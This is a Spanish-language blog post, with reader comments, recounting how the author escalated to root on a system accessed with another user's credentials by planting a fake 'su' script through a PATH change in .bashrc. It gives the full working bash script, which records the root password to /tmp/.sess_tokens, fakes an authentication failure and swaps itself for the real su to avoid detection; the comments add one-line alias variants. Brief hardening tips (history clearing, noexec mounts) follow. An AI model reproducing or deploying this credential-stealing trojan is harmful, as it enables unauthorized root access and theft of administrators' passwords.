domingo, 19 de agosto de 2012

fake script "su"

Este "truquito" me valió en una ocasión para conseguir escalar privilegios a root en un sistema al cual ya tenía acceso con las credenciales de otro usuario no privilegiado. Cómo obtuve esas credenciales es otra historia que quizá algún día cuente... xD Pero ahora vamos a lo que vamos...

Se trata de hacer un script bash que simule ser el comando "su" para robarle el password de root al administrador cuando intente elevar privilegios. Como verán nada complejo en realidad y sin mucha magia ni glamour pero realmente efectivo. De hecho está inspirado en el mecanismo usado por un troyano descrito en el libro "El Huevo Del Cuco" de Clifford Stoll.

Luego de conectar por SSH con las credenciales que obtuve, lo primero que hice fue probar si era "sudoer", es decir, si podía elevar a root con la misma contraseña usando el comando "sudo". Pero como me lo temía, no fue posible.

El siguiente paso fue revisar el fichero ".bash_history" que está en el home del usuario. En este fichero se guarda el historial de comandos que ha ejecutado el usuario en sus sesiones anteriores. De esta forma te puedes hacer una idea de lo que ha hecho en el sistema, si escribió mal una orden, los parámetros que usa junto a ciertos comandos, etc. En ciertos casos es posible incluso encontrar passwords en este fichero ya sea que por distracción el usuario escribió el password como si fuera una orden o que pasó el password como parámetro en una (como en el caso del comando "mysql", por poner un ejemplo)

En mi caso no encontré ningún password, pero sí noté que el usuario usaba el comando "su" para elevar privilegios a root. Así que, luego de pensarlo un rato, se me ocurrió que podría engañarle con un script que simulara ser el comando "su" para obtener el password y guardarlo en un fichero temporal hasta la próxima vez que yo accediera al sistema.

Reemplazar el comando "su" no era posible, puesto que no tenía los privilegios para hacerlo. Lo que sí era posible fue reconfigurar la variable "PATH" del usuario. Esta variable se usa para definir los directorios donde se buscarán los ejecutables de las ordenes que escribimos en la terminal y, lo más importante, el orden de los directorios de búsqueda. El PATH se puede configurar en el fichero ".bashrc" o también en ".bash_profile" (dentro del home del usuario) La idea es añadir un nuevo directorio de búsqueda al inicio de la lista para poner en él nuestro script. Algo así:

export PATH=$HOME/.bin:$PATH

Añadiendo la linea anterior al final de ".bashrc", por ejemplo, se consigue que el directorio "/home/usuario/.bin" sea el primer directorio donde se busquen los binarios.

Bueno ahora hay que crear el directorio...

$ mkdir ~/.bin

Y el colocar el script en él

$ vim ~/.bin/su

#!/bin/bash

function usage() {
 echo "Usage: su [options] [LOGIN]"
 echo ""
 echo "Options:"
 echo "  -c, --command COMMAND         pass COMMAND to the invoked shell"
 echo "  -h, --help                    display this help message and exit"
 echo "  -, -l, --login                make the shell a login shell"
 echo "  -m, -p,"
 echo "  --preserve-environment        do not reset environment variables, and"
 echo "                                keep the same shell"
 echo "  -s, --shell SHELL             use SHELL instead of the default in passwd"
 echo ""
 exit
}

n=0;
for x in $*; do
 z[$n]=$x;
 n=$(($n+1));
done

USER="root"

for (( i=0; $i < $n; i=$i+1 )); do
 x=${z[$i]}
 if [ "$x" == "-h" ] || [ "$x" == "--help" ]; then
  usage
 elif [ "$x" == "-c" ] || [ "$x" == "--command" ]; then
  i=$(($i+1))
  command=${z[$i]}
 elif [ "$x" == "-s" ] || [ "$x" == "--shell" ]; then
  i=$(($i+1))
  shell=${z[$i]}
 elif [ "$x" == "-" ] || [ "$x" == "-l" ] || [ "$x" == "--login" ]; then
  continue
 elif [ "$x" == "-m" ] || [ "$x" == "-p" ] || [ "$x" == "--preserve-environment" ]; then
  continue
 else
  USER=$x
  if [ $i != $(($n-1)) ]; then
   usage
  fi
 fi
done

ok=false
for i in $(cat /etc/passwd | cut -d : -f 1); do
 if [ "$USER" == "$i" ]; then
  ok=true
  break
 fi
done

if [ $ok == false ]; then
 echo "Id desconocido: $USER"
 exit
fi

read -s -p "Contraseña: " SESSTOKEN
echo "$USER:$SESSTOKEN" >> /tmp/.sess_tokens
SESSTOKEN=""
echo ""
sleep 2
echo "su: Fallo de autenticación"
ln -sf /bin/su $0

Por último le damos permisos de ejecución...

$ chmod +x ~/.bin/su

Y la trampa ya está puesta }:) La próxima vez que el usuario inicie sesión en el sistema y ejecute "su", se ejecutará el script, le pedirá la contraseña de root y la guardará en "/tmp/.sess_tokens".

Algo a notar en el script es que luego de capturar el password, muestra un mensaje de "Fallo de autenticación" y reemplaza el script por un enlace simbólico al verdadero comando "su". De esta manera el usuario creerá que escribió mal la contraseña y la próxima vez que lo intente ya no tendrá problemas por lo que tampoco sospechará nada.

Algunas recomendaciones...

1. Controlar el contenido del fichero ".bash_history". Lo más cómodo sería deshabilitar su uso. Para ello se puede definir la variable "HISTSIZE" a cero:

export HISTSIZE=0

Aunque de esta manera tampoco podrás saber los comandos que "otro" ha ejecutado con tu cuenta. Yo prefiero acostumbrarme a borrar el historial de comandos de la sesión antes de salir con:

$ history -c

2. Controlar las particiones con permisos de ejecución.

Si bien el administrador usaba un usuario no privilegiado para conectar con el servidor (que además no era "sudoer") previendo que alguien podría obtener sus credenciales, no imaginó que podrían engañarlo con un truco tan viejo y barato.

La seguridad de un sistema se debe tener presente desde el momento de su construcción. En este caso desde el momento de la instalación del sistema operativo. La elección del particionamiento es importante para la eficiencia del sistema y también para su seguridad. Desde esta última perspectiva, es importante tener en cuenta separar las particiones con permisos de escritura para los usuarios de las particiones que tendrán ficheros ejecutables. De esta manera se podrá tener un mayor control sobre los permisos de ejecución en las particiones.

Supongamos que tenemos "/tmp" y "/home" en particiones independientes. Podemos editar el fichero "/etc/fstab" para cambiar las opciones de montaje de "/tmp" y "/home" aumentando el parámetro "noexec" para quitar los permisos de ejecución a dichas particiones de la siguiente manera:

/dev/mapper/vg_server-lv_home /home ext4 defaults,noexec 1 2
/dev/mapper/vg_server-lv_tmp  /tmp  ext4 defaults,noexec 1 2

Con esto conseguiremos que ningún fichero que esté en "/home" o en "/tmp" sea ejecutable.

La configuración anterior habría dificultado la tarea de sustituir el comando "su" puesto que ahora sería preciso buscar un directorio con permisos de escritura en una partición con permisos de ejecución.

Hasta la próxima...

Saludos.

3 comentarios:

  1. Hola! Excelente artículo, solo me gustaria comentar un detalle:
    Tu 2ª recomendación es muy útil pero no bastaría para evitar que el usuario se convirtiera en root, ya que podría añadir tu script en el fichero bashrc dentro de un alias consiguiendo el mismo resultado (solo he puesto una linea de tu script como ejemplo, pero se podría poner completo):
    alias su="read -s -p 'Contraseña: ' SESSTOKEN; echo -e \"\n$USER:$SESSTOKEN\""

    Mi forma de "securizarlo" seria poniendo como propietario de ese archivo el usuario root.
    sudo chown root.root bashrc

    De hecho no entiendo como ese archivo viene, por defecto, con permisos de escritura para el usuario "standard".

    Saludos.

    ResponderEliminar
  2. Hola Aleix, buena idea lo del alias no se me había ocurrido... modifiqué un poco tu ejemplo para que "repare" el comando "su" y el usuario no sospeche ;)

    alias su="read -s -p 'Password: ' pass && echo -e '\nincorrect password' && echo $pass >> /tmp/pass.txt && alias su=/bin/su"

    Lo probé con un Centos, con la configuración que recomendé y aun así funciona xD

    Muy buen aporte :) Gracias

    Un saludo.

    ResponderEliminar